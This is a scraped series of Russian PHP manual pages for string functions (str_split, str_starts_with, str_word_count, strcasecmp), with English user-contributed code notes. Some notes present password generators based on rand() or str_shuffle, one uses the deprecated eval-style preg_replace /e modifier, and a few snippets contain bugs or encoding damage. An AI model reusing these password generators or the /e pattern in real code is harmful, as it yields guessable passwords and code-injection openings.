echo shuffleString("Hello"); // > 'elHol' (something like this)
echo shuffleString("World!", "Hello "); // > 'Hello do!lrW' (something like this)
Anonymous 14-Oct-2014 05:35
str_shuffle isn't recommendable for passwords. Each character exists only one time).

A function like the following one is better for this.

<?php
    function generatePassword($length = 8) {
        $possibleChars = "abcdefghijklmnopqrstuvwxyz";
        $password = '';

        for($i = 0; $i < $length; $i++) {
            $rand = rand(0, strlen($possibleChars) - 1);
            $password .= substr($possibleChars, $rand, 1);
        }

        return $password;
    }
?>
qeremy [atta] gmail [dotta] com 24-Feb-2012 11:58
A proper unicode string shuffle;

<?php
function str_shuffle_unicode($str) {
    $tmp = preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
    shuffle($tmp);
    return join("", $tmp);
}
?>

$str = "Seker yarim"; // My sweet love

echo str_shuffle($str); // i?eymrTekr ?

echo str_shuffle_unicode($str); // Sr mreyeika
Anonymous 21-Jun-2010 10:32
Shuffle for all encoding formats

<?php

function unicode_shuffle($string, $chars, $format = 'UTF-8')
{
    for($i=0; $i<$chars; $i++)
        $rands[$i] = rand(0, mb_strlen($string, $format));

        $s = NULL;

    foreach($rands as $r)
        $s.= mb_substr($string, $r, 1, $format);

    return $s;
}

?>
jojersztajner at OXYGEN dot POLAND 16-Jun-2007 03:27
Aoccdrnig to rseearch at an Elingsh uinervtisy, it deosn't mttaer in waht oredr the ltteers in a wrod are, the olny iprmoatnt tihng is that the frist and lsat ltteer is at the rghit pclae. The rset can be a toatl mses and you can sitll raed it wouthit a porbelm. Tihs is bcuseae we do not raed ervey lteter by it slef but the wrod as a wlohe.

Hree's a cdoe taht slerbmcas txet in tihs way:
<?php
    function scramble_word($word) {
        if (strlen($word) < 2)
            return $word;
        else
            return $word{0} . str_shuffle(substr($word, 1, -1)) . $word{strlen($word) - 1};
    }

    echo preg_replace('/(\w+)/e', 'scramble_word("\1")', 'A quick brown fox jumped over the lazy dog.');
?>

It may be ufseul if you wnat to cetare an aessblicce CTCPAHA.
CygnusX1 14-Feb-2007 01:17
To cobine functionality and simplicity of the two functions below we can have:

<?php
function generatePasswd($numAlpha=6,$numNonAlpha=2)
{
   $listAlpha = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
   $listNonAlpha = ',;:!?.$/*-+&@_+;./*&?$-!,';
   return str_shuffle(
      substr(str_shuffle($listAlpha),0,$numAlpha) .
      substr(str_shuffle($listNonAlpha),0,$numNonAlpha)
    );
}
?>
dzafel at op dot pl 29-Dec-2006 01:16
Very, very simple random password generator, without using rand() function:

<?php
function random_password($chars = 8) {
   $letters = 'abcefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
   return substr(str_shuffle($letters), 0, $chars);
}
?>
Michiel van den boogaard 17-Jan-2005 02:03
Shortend function for PHP < 4.3
<?php
function RandomPass($numchar)
{
    $word = "a,b,c,d,e,f,g,h,i,j,k,l,m,1,2,3,4,5,6,7,8,9,0";
    $array=explode(",",$word);
    shuffle($array);
    $newstring = implode($array,"");
    return substr($newstring, 0, $numchar);
}
?>


Преобразовывает строку в массив

  • « str_shuffle
  • str_starts_with »
  • PHP Manual
  • Функции для работы со строками
  • Преобразовывает строку в массив

str_split

(PHP 5, PHP 7, PHP 8)

str_split — Преобразовывает строку в массив

Описание

str_split(string $string, int $length = 1): array

Преобразовывает строку в массив.

Список параметров

string

Входная строка.

length

Максимальная длина фрагмента.

Возвращаемые значения

Если указан необязательный параметр length, возвращаемый массив будет разбит на фрагменты, каждый из которых будет иметь длину length, за исключением последнего фрагмента, который может быть короче, если строка делится неравномерно. По умолчанию параметр length равен 1, то есть размер каждого фрагмента будет один байт.

Ошибки

Если параметр length меньше 1, будет выброшена ошибка ValueError.

Список изменений

Версия | Описание
8.2.0 | Если параметр string не задан, теперь возвращается пустой массив (array). Ранее возвращался массив (array), содержащий одну пустую строку
8.0.0 | Теперь если параметр length меньше 1, будет выброшена ошибка ValueError; ранее, вместо этого выдавалась ошибка уровня E_WARNING, а функция возвращала false.

Примеры

Пример #1 Пример использования функции str_split()

<?php

$str = "Hello Friend";

$arr1 = str_split($str);
$arr2 = str_split($str, 3);

print_r($arr1);
print_r($arr2);

?>

Результат выполнения приведённого примера:

Array
(
    [0] => H
    [1] => e
    [2] => l
    [3] => l
    [4] => o
    [5] =>
    [6] => F
    [7] => r
    [8] => i
    [9] => e
    [10] => n
    [11] => d
)

Array
(
    [0] => Hel
    [1] => lo
    [2] => Fri
    [3] => end
)

Примечания

Замечание:

Функция str_split() производит разбивку по байтам, а не по символам, в случае использования строк в многобайтных кодировках. Используйте функцию mb_str_split(), чтобы разбить строку на кодовые точки.

Смотрите также

  • mb_str_split() - Возвращает массив символов заданной многобайтовой строки
  • chunk_split() - Разбивает строку на фрагменты
  • preg_split() - Разбивает строку по регулярному выражению
  • explode() - Разбивает строку разделителем
  • count_chars() - Возвращает информацию о символах, входящих в строку
  • str_word_count() - Возвращает информацию о словах, входящих в строку
  • for

User Contributed Notes

Julian 14-Feb-2023 09:41
The function str_split() is not 'aware' of words. Here is an adaptation of str_split() that is 'word-aware'.

<?php

$array =  str_split_word_aware(
    'In the beginning God created the heaven and the earth. And the earth was without form, and void; and darkness was upon the face of the deep.',
    32
);

var_dump($array);

/**
  * This function is similar to str_split() but this function keeps words intact; it never splits through a word.
  *
  * @return array<int, string>
  */
function str_split_word_aware(string $string, int $maxLengthOfLine): array
{
    if ($maxLengthOfLine <= 0) {
        throw new RuntimeException(sprintf('The function %s() must have a max length of line at least greater than one', __FUNCTION__));
    }

    $lines = [];
    $words = explode(' ', $string);

    $currentLine = '';
    $lineAccumulator = '';
    foreach ($words as $currentWord) {

        $currentWordWithSpace = sprintf('%s ', $currentWord);
        $lineAccumulator .= $currentWordWithSpace;
        if (strlen($lineAccumulator) < $maxLengthOfLine) {
            $currentLine = $lineAccumulator;
            continue;
        }

        $lines[] = $currentLine;

        // Overwrite the current line and accumulator with the current word
        $currentLine = $currentWordWithSpace;
        $lineAccumulator = $currentWordWithSpace;
    }

    if ($currentLine !== '') {
        $lines[] = $currentLine;
    }

    return $lines;
}

?>

OUTPUT:

<?php

array(5) {
  [0]=> string(29) "In the beginning God created "
  [1]=> string(30) "the heaven and the earth. And "
  [2]=> string(28) "the earth was without form, "
  [3]=> string(27) "and void; and darkness was "
  [4]=> string(27) "upon the face of the deep. "
}

?>
alex-glebe at mail dot ru 03-Jan-2023 11:44
Empty string Does'n returns Empty array!

$arr0 = str_split("");
print_r($arr0);

 Array
(
    [0] =>
)
lskatz at gmail dot com 07-May-2008 11:42
A good use of str_split is reverse translating an amino acid sequence.

<?php
/* reverse translate an aa sequence using its dna counterpart */
function reverseTranslate($aaSeq,$ntSeq){
  $nt=str_split($ntSeq,3);
  $aa=str_split($aaSeq,1);
  $gapChar=array('*','-');

  $numAa=count($aa);
  $ntIndex=0;
  $newNtSeq="";
  for($i=0;$i<$numAa;$i++){
    // if the aa is a gap, then just put on a gap character
    if(in_array($aa[$i],$gapChar)){
      $newNtSeq.='---';
    }
    else{
      $newNtSeq.=$nt[$ntIndex];
      $ntIndex++;
    }
  }
  return $newNtSeq;
}
?>


Проверяет, начинается ли строка с заданной подстроки

  • « str_split
  • str_word_count »
  • PHP Manual
  • Функции для работы со строками
  • Проверяет, начинается ли строка с заданной подстроки

str_starts_with

(PHP 8)

str_starts_with — Проверяет, начинается ли строка с заданной подстроки

Описание

str_starts_with(string $haystack, string $needle): bool

Выполняет проверку с учётом регистра, указывающую, начинается ли haystack с подстроки needle.

Список параметров

haystack

Строка для поиска.

needle

Подстрока для поиска в haystack.

Возвращаемые значения

Возвращает true, если haystack начинается с needle, false в противном случае.

Примеры

Пример #1 Использование пустой строки ''

<?php
if (str_starts_with('абв', '')) {
echo "Все строки начинаются с пустой строки";
}
?>

Результат выполнения приведённого примера:

Все строки начинаются с пустой строки

Пример #2 Демонстрация чувствительности к регистру

<?php
$string = 'Ленивая лиса перепрыгнула через забор';

if (str_starts_with($string, 'Ленивая')) {
echo "Строка начинается с 'Ленивая'\n";
}

if (str_starts_with($string, 'ленивая')) {
echo 'Строка начинается с 'ленивая'';
} else {
echo '"ленивая" не найдена, потому что регистр не соответствует';
}

?>

Результат выполнения приведённого примера:

Строка начинается с 'Ленивая'
"ленивая" не найдена, потому что регистр не соответствует

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Смотрите также

  • str_contains() - Определяет, содержит ли строка заданную подстроку
  • str_ends_with() - Проверяет, заканчивается ли строка заданной подстрокой
  • stripos() - Возвращает позицию первого вхождения подстроки без учёта регистра
  • strrpos() - Возвращает позицию последнего вхождения подстроки в строке
  • strripos() - Возвращает позицию последнего вхождения подстроки без учёта регистра
  • strstr() - Находит первое вхождение подстроки
  • strpbrk() - Ищет в строке любой символ из заданного набора
  • substr() - Возвращает подстроку
  • preg_match() - Выполняет проверку на соответствие регулярному выражению

User Contributed Notes

There are no user contributed notes for this page.


Возвращает информацию о словах, входящих в строку

  • « str_starts_with
  • strcasecmp »
  • PHP Manual
  • Функции для работы со строками
  • Возвращает информацию о словах, входящих в строку

str_word_count

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

str_word_count — Возвращает информацию о словах, входящих в строку

Описание

str_word_count(string $string, int $format = 0, ?string $characters = null): array|int

Подсчитывает количество слов, входящих в строку string. Если необязательный аргумент format не передан, возвращается целое число, равное количеству слов. В случае, если указан аргумент format, возвращается массив, содержимое которого зависит от значения format. Ниже описаны допустимые значения аргумента format и соответствующие им возвращаемые значения.

Для этой функции "слово" обозначает строку с алфавитными символами, зависящую от локали, которая также может содержать символы "'" и "-", но не может начинаться с них. Обратите внимание, что многобайтовые языковые стандарты не поддерживаются.

Список параметров

string

Строка

format

Указывает возвращаемое значение данной функции. На данный момент поддерживаются следующие значения:

  • 0 - возвращает количество найденных слов
  • 1 - возвращается массив, содержащий все слова, входящие в строку string
  • 2 - возвращается массив, индексами которого являются позиции в строке string, а значениями - соответствующие слова.

characters

Список дополнительных символов, которые будут рассматриваться как "слово"

Возвращаемые значения

Возвращает массив или целое число, в зависимости от указанного параметра format.

Список изменений

Версия | Описание
8.0.0 | characters теперь допускает значение null.

Примеры

Пример #1 Пример использования str_word_count()

<?php

$str = "Hello fri3nd, you're
looking good today!";

print_r(str_word_count($str, 1));
print_r(str_word_count($str, 2));
print_r(str_word_count($str, 1, 'aaac3'));

echo str_word_count($str);

?>

Результат выполнения приведённого примера:

Array
(
    [0] => Hello
    [1] => fri
    [2] => nd
    [3] => you're
    [4] => looking
    [5] => good
    [6] => today
)

Array
(
    [0] => Hello
    [6] => fri
    [10] => nd
    [14] => you're
    [29] => looking
    [46] => good
    [51] => today
)

Array
(
    [0] => Hello
    [1] => fri3nd
    [2] => you're
    [3] => looking
    [4] => good
    [5] => today
)

7

Смотрите также

  • explode() - Разбивает строку разделителем
  • preg_split() - Разбивает строку по регулярному выражению
  • count_chars() - Возвращает информацию о символах, входящих в строку
  • substr_count() - Возвращает число вхождений подстроки

User Contributed Notes

amosbatto at yahoo dot com 23-Feb-2021 03:26
//To get an accurate word count in English, some diacritical marks have
// to be added for words like nee, Chloe, naive, coopt, facade, pinata, etc.
$count = str_word_count($str, 0, 'eeiocnEEIOCN');

//To get the word count for any European language using a Roman alphabet:
$count = str_word_count($str, 0, 'aeiouAEIOUa?ceilnorsuzA?CEILNORSUZ'.
   'aeiouAEIOUa?ionuA?IONUaeiouAEIOUaegio??uAEGIO??U'.
   'aeiouAEIOUouOUaeiuAEIUauAU??oOyYyY????dD?I??'.
   'cdelnrstzCDELNRSTZ????lLcgkl??CGKL??hHcegzCEGZ??????tT');
dev dot vegera at gmail dot com 22-Oct-2020 08:16
preg_match_all based function to mimic str_word_count behavior:

<?php
function mb_str_word_count($str, $format = 2, $charlist = '') {
  if ($format < 0 || $format > 2) {
    throw new InvalidArgumentException('Argument #2 ($format) must be a valid format value');
  }
  $count = preg_match_all('#[\p{L}\p{N}][\p{L}\p{N}\'' . $charlist . ']*#u', $str, $matches, $format === 2 ? PREG_OFFSET_CAPTURE : PREG_PATTERN_ORDER);
  if ($format === 0) {
    return $count;
  }
  $matches = $matches[0] ?? [];
  if ($format === 2) {
    $result = [];
    foreach ($matches as $match) {
      $result[$match[1]] = $match[0];
    }
    return $result;
  }
  return $matches;
}
?>
php dot net at salagir dot com 08-Jan-2018 04:09
This function doesn't handle  accents, even in a locale with accent.
<?php
echo str_word_count("Is working"); // =2

setlocale(LC_ALL, 'fr_FR.utf8');
echo str_word_count("Not working"); // expects 2, got 3.
?>

Cito solution treats punctuation as words and thus isn't a good workaround.
<?php
function str_word_count_utf8($str) {
      return count(preg_split('~[^\p{L}\p{N}\']+~u',$str));
}
echo str_word_count_utf8("Is working"); //=2
echo str_word_count_utf8("Not working."); //=3
?>

My solution:
<?php
function str_word_count_utf8($str) {
    $a = preg_split('/\W+/u', $str, -1, PREG_SPLIT_NO_EMPTY);
    return count($a);
}
echo str_word_count_utf8("Is working"); // = 2
echo str_word_count_utf8("Is working! :)"); // = 2
?>
jak74 at interia dot pl 10-Jul-2016 10:20
// split the phrase by any number of commas or space characters,
// which include " ", \r, \t, \n and \f

$keywords = preg_split("/[\s,]+/", "hypertext language, programming");
print_r($keywords);
broncha at rajesharma dot com 19-Jun-2015 07:01
Turns out the charlist is set by default for the web. For example, the string

Copyright &copy; ABC Ltd.

is 3 words in the cli and 4 words if executing in web context.
uri at speedy dot net 15-Aug-2012 07:08
Here is a count words function which supports UTF-8 and Hebrew. I tried other functions but they don't work. Notice that in Hebrew, '"' and '\'' can be used in words, so they are not separators. This function is not perfect, I would prefer a function we are using in JavaScript which considers all characters except [a-zA-Z?-?0-9_\'\"] as separators, but I don't know how to do it in PHP.

I removed some of the separators which don't work well with Hebrew ("\x20", "\xA0", "\x0A", "\x0D", "\x09", "\x0B", "\x2E"). I also removed the underline.

This is a fix to my previous post on this page - I found out that my function returned an incorrect result for an empty string. I corrected it and I'm also attaching another function - my_strlen.

<?php

function count_words($string) {
    // Return the number of words in a string.
    $string= str_replace("&#039;", "'", $string);
    $t= array(' ', "\t", '=', '+', '-', '*', '/', '\\', ',', '.', ';', ':', '[', ']', '{', '}', '(', ')', '<', '>', '&', '%', '$', '@', '#', '^', '!', '?', '~'); // separators
    $string= str_replace($t, " ", $string);
    $string= trim(preg_replace("/\s+/", " ", $string));
    $num= 0;
    if (my_strlen($string)>0) {
        $word_array= explode(" ", $string);
        $num= count($word_array);
    }
    return $num;
}

function my_strlen($s) {
    // Return mb_strlen with encoding UTF-8.
    return mb_strlen($s, "UTF-8");
}

?>
cito at wikatu dot com 03-Feb-2012 09:29
<?php

/***
 * This simple utf-8 word count function (it only counts)
 * is a bit faster then the one with preg_match_all
 * about 10x slower then the built-in str_word_count
 *
 * If you need the hyphen or other code points as word-characters
 * just put them into the [brackets] like [^\p{L}\p{N}\'\-]
 * If the pattern contains utf-8, utf8_encode() the pattern,
 * as it is expected to be valid utf-8 (using the u modifier).
 **/

// Jonny 5's simple word splitter
function str_word_count_utf8($str) {
  return count(preg_split('~[^\p{L}\p{N}\']+~u',$str));
}
?>
Samer Ata 05-Jan-2012 09:21
This is my own version of to get SEO meta description from wordpress post content. it is also generic usage function to get the first n words from a string.

<?php
function my_meta_description($text,$n=10)
{
$text=strip_tags($text);  // not neccssary for none HTML
// $text=strip_shortcodes($text); // uncomment only inside wordpress system
$text = trim(preg_replace("/\s+/"," ",$text));
$word_array = explode(" ", $text);
if (count($word_array) <= $n)
return implode(" ",$word_array);
else
{
$text='';
foreach ($word_array as $length=>$word)
{
    $text.=$word ;
    if($length==$n) break;
    else $text.=" ";
}
}
return $text;
?>
matthewkastor at live dot com 05-Apr-2011 07:08
This needs improvement, but works well as is.

<?php
/**
 * Generates an alphabetical index of unique words, and a count of their occurrences, in a file.
 *
 * This works on html pages or plain text files.
 * This function uses file_get_contents, so it
 * is possible to use a url instead of a local filename.
 *
 * Change the search pattern at
 * <code> $junk = preg_match('/[^a-zA-Z]/', $word); </code>
 * if you want to keep words with numbers or other characters. The pattern
 * I've set searches for anything that is not an upper or lowercase letter,
 * you may want something else.
 *
 * The array returned will look something like this:
 * <code>
 * Array
 * (
 *     [0] => Array
 *        (
 *            [word] => a
 *            [count] => 21
 *        )
 *
 *     [1] => Array
 *        (
 *            [word] => ability
 *            [count] => 1
 *        )
 * )
 * </code>
 *
 * @param string $file The file ( or url ) you want to create an index from.
 * @return array
 */
function index_page($file) {
    $index = array();
    $find = array(
        '/\r/',
        '/\n/',
        '/\s\s+/'
    );
    $replace = array(
        ' ',
        ' ',
        ' '
    );
    $work = file_get_contents($file);
    $work = preg_replace('/[>][<]/', '> <', $work);
    $work = strip_tags($work);
    $work = strtolower($work);
    $work = preg_replace($find, $replace, $work);
    $work = trim($work);
    $work = explode(' ', $work);
    natcasesort($work);
    $i = 0;
    foreach($work as $word) {
        $word = trim($word);
        $junk = preg_match('/[^a-zA-Z]/', $word);
        if($junk == 1) {
            $word = '';
        }
        if( (!empty($word)) && ($word != '') ) {
            if(!isset($index[$i]['word'])) { // if not set this is a new index
                $index[$i]['word'] = $word;
                $index[$i]['count'] = 1;
            } elseif( $index[$i]['word'] == $word ) {  // count repeats
                $index[$i]['count'] += 1;
            } else { // else this is a different word, increment $i and create an entry
                $i++;
                $index[$i]['word'] = $word;
                $index[$i]['count'] = 1;
            }
        }
    }
    unset($work);
    return($index);
}
?>

example usage:

<?php
$file = 'http://www.php.net/';
// or use a local file, see file_get_contents() for valid filenames and restrictions.

$index = index_page($file);
echo '<pre>'.print_r($index,true).'</pre>';
?>
dmVuY2lAc3RyYWhvdG5pLmNvbQ== (base64) 18-Oct-2010 04:39
to count words after converting a msword document to plain text with antiword, you can use this function:

<?php
function count_words($text) {
    $text = str_replace(str_split('|'), '', $text); // remove these chars (you can specify more)
    $text = trim(preg_replace('/\s+/', ' ', $text)); // remove extra spaces
    $text = preg_replace('/-{2,}/', '', $text); // remove 2 or more dashes in a row
    $len = strlen($text);

    if (0 === $len) {
        return 0;
    }

    $words = 1;

    while ($len--) {
        if (' ' === $text[$len]) {
            ++$words;
        }
    }

    return $words;
}
?>

it strips the pipe "|" chars, which antiword uses to format tables in its plain text output, removes more than one dashes in a row (also used in tables), then counts the words.

counting words using explode() and then count() is not a good idea for huge texts, because it uses much memory to store the text once more as an array. this is why i'm using while() { .. } to walk the string
lballard dot cat at gmail dot com 26-Sep-2010 08:17
word limiter:

<?php
$str = "my hella long string" ;
$length = 3;
$shortened =
implode(' ',array_slice(str_word_count($str,1),0,$length));
?>
brettz9 - see yahoo 12-Feb-2010 11:33
Words also cannot end in a hyphen unless allowed by the charlist...
charliefrancis at gmail dot com 29-Jul-2009 04:56
Hi this is the first time I have posted on the php manual, I hope some of you will like this little function I wrote.

It returns a string with a certain character limit, but still retaining whole words.
It breaks out of the foreach loop once it has found a string short enough to display, and the character list can be edited.

<?php
function word_limiter( $text, $limit = 30, $chars = '0123456789' ) {
    if( strlen( $text ) > $limit ) {
        $words = str_word_count( $text, 2, $chars );
        $words = array_reverse( $words, TRUE );
        foreach( $words as $length => $word ) {
            if( $length + strlen( $word ) >= $limit ) {
                array_shift( $words );
            } else {
                break;
            }
        }
        $words = array_reverse( $words );
        $text = implode( " ", $words ) . '&hellip;';
    }
    return $text;
}

$str = "Hello this is a list of words that is too long";
echo '1: ' . word_limiter( $str );
$str = "Hello this is a list of words";
echo '2: ' . word_limiter( $str );
?>

1: Hello this is a list of words&hellip;
2: Hello this is a list of words
jazz090 13-Apr-2009 10:39
Personally, I dont like using this function becuase the characters it omits are sometime nessesery for instance MS Word counts ">" or "<" alone as single word where this function doesnt. I like using this however, it counts EVERYTHING:

<?php
function num_words($string){
    preg_match_all("/\S+/", $string, $matches);
    return count($matches[0]);
}
?>
splogamurugan at gmail dot com 05-Feb-2009 02:32
We can also specify a range of values for charlist.

<?php
$str = "Hello fri3nd, you're
       looking          good today!
       look1234ing";
print_r(str_word_count($str, 1, '0..3'));
?>

will give the result as

Array ( [0] => Hello [1] => fri3nd [2] => you're [3] => looking [4] => good [5] => today [6] => look123 [7] => ing )
eanimator at yahoo dot com 11-Jan-2009 12:37
My quick and rough wordLimiter function.

<?php
function WordLimiter($text,$limit=20){
    $explode = explode(' ',$text);
    $string  = '';

    $dots = '...';
    if(count($explode) <= $limit){
        $dots = '';
    }
    for($i=0;$i<$limit;$i++){
        $string .= $explode[$i]." ";
    }

    return $string.$dots;
}
?>
manrash at gmail dot com 22-Dec-2008 03:06
For spanish speakers a valid character map may be:

<?php
$characterMap = 'aeiouun';

$count = str_word_count($text, 0, $characterMap);
?>
Adeel Khan 08-Dec-2007 08:01
<?php

/**
 * Returns the number of words in a string.
 * As far as I have tested, it is very accurate.
 * The string can have HTML in it,
 * but you should do something like this first:
 *
 *    $search = array(
 *      '@<script[^>]*?>.*?</script>@si',
 *      '@<style[^>]*?>.*?</style>@siU',
 *      '@<![\s\S]*?--[ \t\n\r]*>@'
 *    );
 *    $html = preg_replace($search, '', $html);
 *
 */

function word_count($html) {

  # strip all html tags
  $wc = strip_tags($html);

  # remove 'words' that don't consist of alphanumerical characters or punctuation
  $pattern = "#[^(\w|\d|\'|\"|\.|\!|\?|;|,|\\|\/|\-|:|\&|@)]+#";
  $wc = trim(preg_replace($pattern, " ", $wc));

  # remove one-letter 'words' that consist only of punctuation
  $wc = trim(preg_replace("#\s*[(\'|\"|\.|\!|\?|;|,|\\|\/|\-|:|\&|@)]\s*#", " ", $wc));

  # remove superfluous whitespace
  $wc = preg_replace("/\s\s+/", " ", $wc);

  # split string into an array of words
  $wc = explode(" ", $wc);

  # remove empty elements
  $wc = array_filter($wc);

  # return the number of words
  return count($wc);

}

?>
joshua dot blake at gmail dot com 02-Mar-2007 05:02
I needed a function which would extract the first hundred words out of a given input while retaining all markup such as line breaks, double spaces and the like. Most of the regexp based functions posted above were accurate in that they counted out a hundred words, but recombined the paragraph by imploding an array down to a string. This did away with any such hopes of line breaks, and thus I devised a crude but very accurate function which does all that I ask it to:

<?php
function Truncate($input, $numWords)
{
  if(str_word_count($input,0)>$numWords)
  {
    $WordKey = str_word_count($input,1);
    $PosKey = str_word_count($input,2);
    reset($PosKey);
    foreach($WordKey as $key => &$value)
    {
        $value=key($PosKey);
        next($PosKey);
    }
    return substr($input,0,$WordKey[$numWords]);
  }
  else {return $input;}
}
?>

The idea behind it? Go through the keys of the arrays returned by str_word_count and associate the number of each word with its character position in the phrase. Then use substr to return everything up until the nth character. I have tested this function on rather large entries and it seems to be efficient enough that it does not bog down at all.

Cheers!

Josh
josh at joshblake.net 01-Mar-2007 03:57
I was interested in a function which returned the first few words out of a larger string.

In reality, I wanted a preview of the first hundred words of a blog entry which was well over that.

I found all of the other functions which explode and implode strings to arrays lost key markups such as line breaks etc.

So, this is what I came up with:

<?php
function WordTruncate($input, $numWords) {
if(str_word_count($input,0)>$numWords)
{
    $WordKey = str_word_count($input,1);
    $WordIndex = array_flip(str_word_count($input,2));
    return substr($input,0,$WordIndex[$WordKey[$numWords]]);
}
else {return $input;}
}
?>

While I haven't counted per se, it's accurate enough for my needs. It will also return the entire string if it's less than the specified number of words.

The idea behind it? Use str_word_count to identify the nth word, then use str_word_count to identify the position of that word within the string, then use substr to extract up to that position.

Josh.
30-Jan-2007 08:15
Here is a php work counting function together with a javascript version which will print the same result.

<?php
      //Php word counting function
      function word_count($theString)
      {
        $char_count = strlen($theString);
        $fullStr = $theString." ";
        $initial_whitespace_rExp = "^[[:alnum:]]$";

        $left_trimmedStr = ereg_replace($initial_whitespace_rExp,"",$fullStr);
        $non_alphanumerics_rExp = "^[[:alnum:]]$";
        $cleanedStr = ereg_replace($non_alphanumerics_rExp," ",$left_trimmedStr);
        $splitString = explode(" ",$cleanedStr);

        $word_count = count($splitString)-1;

        if(strlen($fullStr)<2)
        {
          $word_count=0;
        }
        return $word_count;
      }
?>

<?php
      //Function to count words in a phrase
      function wordCount(theString)
      {
        var char_count = theString.length;
        var fullStr = theString + " ";
        var initial_whitespace_rExp = /^[^A-Za-z0-9]+/gi;
        var left_trimmedStr = fullStr.replace(initial_whitespace_rExp, "");
        var non_alphanumerics_rExp = rExp = /[^A-Za-z0-9]+/gi;
        var cleanedStr = left_trimmedStr.replace(non_alphanumerics_rExp, " ");
        var splitString = cleanedStr.split(" ");

        var word_count = splitString.length -1;

        if (fullStr.length <2)
        {
          word_count = 0;
        }
        return word_count;
      }
?>
lwright at psu dot edu 17-Aug-2006 11:51
If you are looking to count the frequency of words, try:

<?php

$wordfrequency = array_count_values( str_word_count( $string, 1) );

?>
MadCoder 15-Aug-2005 09:12
Here's a function that will trim a $string down to a certian number of words, and add a...   on the end of it.
(explansion of muz1's 1st 100 words code)

----------------------------------------------
<?php
function trim_text($text, $count){
$text = str_replace("  ", " ", $text);
$string = explode(" ", $text);
for ( $wordCounter = 0; $wordCounter <= $count;wordCounter++ ){
$trimed .= $string[$wordCounter];
if ( $wordCounter < $count ){ $trimed .= " "; }
else { $trimed .= "..."; }
}
$trimed = trim($trimed);
return $trimed;
}
?>

Usage
------------------------------------------------
<?php
$string = "one two three four";
echo trim_text($string, 3);
?>

returns:
one two three...
16-Jan-2005 06:38
This function seems to view numbers as whitespace. I.e. a word consisting of numbers only won't be counted.
aix at lux dot ee 14-Nov-2004 02:53
One function.
<?php
if (!function_exists('word_count')) {
function word_count($str,$n = "0"){
    $m=strlen($str)/2;
    $a=1;
    while ($a<$m) {
        $str=str_replace("  "," ",$str);
        $a++;
        }
    $b = explode(" ", $str);
    $i = 0;
    foreach ($b as $v) {
        $i++;
        }
    if ($n==1) return $b;
    else  return $i;

    }
}
$str="Tere Tartu linn";
$c  = word_count($str,1); // it return an array
$d  = word_count($str); // it return int - how many words was in text
print_r($c);
echo $d;
?>
aidan at php dot net 26-Jun-2004 03:02
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
Kirils Solovjovs 22-Feb-2004 09:06
Nothing of this worked for me. I think countwords() is very encoding dependent. This is the code for win1257. For other layots you just need to redefine the ranges of letters...

<?php
function countwords($text){
        $ls=0;//was it a whitespace?
        $cc33=0;//counter
        for($i=0;$i<strlen($text);$i++){
                $spstat=false; //is it a number or a letter?
                $ot=ord($text[$i]);
                if( (($ot>=48) && ($ot<=57)) ||  (($ot>=97) && ($ot<=122)) || (($ot>=65) && ($ot<=90)) || ($ot==170) ||
                (($ot>=192) && ($ot<=214)) || (($ot>=216) && ($ot<=246)) || (($ot>=248) && ($ot<=254))  )$spstat=true;
                if(($ls==0)&&($spstat)){
                        $ls=1;
                        $cc33++;
                }
                if(!$spstat)$ls=0;
        }
        return $cc33;
}

?>
Artimis 15-Oct-2003 02:32
Never use this function to count/separate alphanumeric words, it will just split them up words to words, numbers to numbers.  You could refer to another function "preg_split" when splitting alphanumeric words.  It works with Chinese characters as well.
andrea at 3site dot it 19-May-2003 04:55
if string doesn't contain the space " ", the explode method doesn't do anything, so i've wrote this and it seems works better ... i don't know about time and resource

<?php
function str_incounter($match,$string) {
$count_match = 0;
for($i=0;$i<strlen($string);$i++) {
if(strtolower(substr($string,$i,strlen($match)))==strtolower($match)) {
$count_match++;
}
}
return $count_match;
}
?>

example

<?php
$string = "something:something!!something";
$count_some = str_incounter("something",$string);
// will return 3
?>
philip at cornado dot com 06-Apr-2003 07:30
Some ask not just split on ' ', well, it's because simply exploding on a ' ' isn't fully accurate.  Words can be separated by tabs, newlines, double spaces, etc.  This is why people tend to seperate on all whitespace with regular expressions.
rcATinterfacesDOTfr 16-Jan-2003 07:58
Here is another way to count words :
$word_count = count(preg_split('/\W+/', $text, -1, PREG_SPLIT_NO_EMPTY));
brettNOSPAM at olwm dot NO_SPAM dot com 09-Nov-2002 12:06
This example may not be pretty, but It proves accurate:

<?php
//count words
$words_to_count = strip_tags($body);
$pattern = "/[^(\w|\d|\'|\"|\.|\!|\?|;|,|\\|\/|\-\-|:|\&|@)]+/";
$words_to_count = preg_replace ($pattern, " ", $words_to_count);
$words_to_count = trim($words_to_count);
$total_words = count(explode(" ",$words_to_count));
?>

Hope I didn't miss any punctuation. ;-)


Бинарно-безопасное сравнение строк без учёта регистра

  • « str_word_count
  • strchr »
  • PHP Manual
  • Функции для работы со строками
  • Бинарно-безопасное сравнение строк без учёта регистра

strcasecmp

(PHP 4, PHP 5, PHP 7, PHP 8)

strcasecmp — Бинарно-безопасное сравнение строк без учёта регистра

Описание

strcasecmp(string $string1, string $string2): int

Бинарно-безопасное сравнение строк без учёта регистра. Сравнение не зависит от локали; только буквы ASCII сравниваются без учёта регистра.

Список параметров

string1

Первая строка

string2

Вторая строка

Возвращаемые значения

Возвращает -1, если string1 меньше string2, 1, если string1 больше string2, и 0, если строки равны.

Список изменений

Версия | Описание
8.2.0 | Функция теперь возвращает -1 или 1; ранее она возвращала отрицательное или положительное число.

Примеры

Пример #1 Пример использования strcasecmp()

<?php
$var1 = "Hello";
$var2 = "hello";
if (strcasecmp($var1, $var2) == 0) {
echo '$var1 равно $var2 при сравнении без учёта регистра';
}
?>

Смотрите также

  • strcmp() - Бинарно-безопасное сравнение строк
  • preg_match() - Выполняет проверку на соответствие регулярному выражению
  • substr_compare() - Бинарно-безопасное сравнение 2 строк со смещением, с учётом или без учёта регистра
  • strncasecmp() - Бинарно-безопасное сравнение первых n символов строк без учёта регистра
  • stristr() - Регистронезависимый вариант функции strstr
  • substr() - Возвращает подстроку

User Contributed Notes

chrislarham at NOSPAM dot outlook dot com 13-Oct-2018 08:47
